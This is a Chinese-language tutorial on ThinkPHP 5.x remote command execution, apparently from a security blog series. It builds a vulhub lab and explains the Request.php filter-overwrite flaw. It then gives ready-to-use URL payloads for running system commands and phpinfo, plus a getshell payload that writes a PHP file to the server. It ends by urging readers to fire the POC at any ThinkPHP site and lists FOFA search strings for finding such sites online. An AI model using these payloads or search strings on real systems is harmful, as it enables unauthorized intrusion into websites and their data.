常见框架漏洞(一)----Thinkphp(TP)
Thinkphp框架介绍:
ThinkPHP是为了简化企业级应⽤开发和敏捷WEB应⽤开发⽽诞⽣的,是⼀个快速、兼容⽽
且简单的轻量级国产PHP开发框架,诞⽣于2006年初,原名FCS,2007年元旦正式更名为
ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴 了国外很多优秀的框架和模式,使⽤⾯向对象的开发结构和MVC模式,融合了Struts的思想和 TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以⽀持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀
持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是⼀款跨平台,跨版本以及简单易⽤的PHP框架。 TP(2-6) (5-⽬前使⽤率较⾼的)
重点:Thinkphp5x远程命令执⾏及getshell
thinkphp5最出名的就是rce
1. 环境搭建
云服务器:1.15.228.27:8080
靶场:cd vulhub-master/thinkphp/5-rce
docker-compose up -d #启动环境
docker ps ,查看当前开启的容器信息 发现是端口是8080
2.访问靶场
http://1.15.228.27:8080
3. 漏洞利用
漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通
过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分 原因,在利⽤上会出现⼀些问题。
4.远程命令执⾏1
POC(漏洞测试):在URL上输入
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
5.远程代码执⾏2
POC:
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
6. getshell
? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php


Thinkphp被曝很多漏洞,截⾄⽬前位置3x -- 6x的各个版本都被爆有⼤量漏洞,遇到TP的
站,直接打poc就可以了;
更多利⽤⽅式可以参考:
https://www.hacking8.com/bug-web/
https://github.com/Mochazz/ThinkPHP-Vuln
拓展:FOFA搜索语法:
body="V5.0.7" && title="System error"body="ThinkPHP V5"icon_hash="1165838194"
Thinkphp框架,笑脸将是判断某个网站的架构为Thinkphp。
望诸君有所收获,共勉。
下一篇,接着讲其他框架。
---------------------------2025/3/25 0:28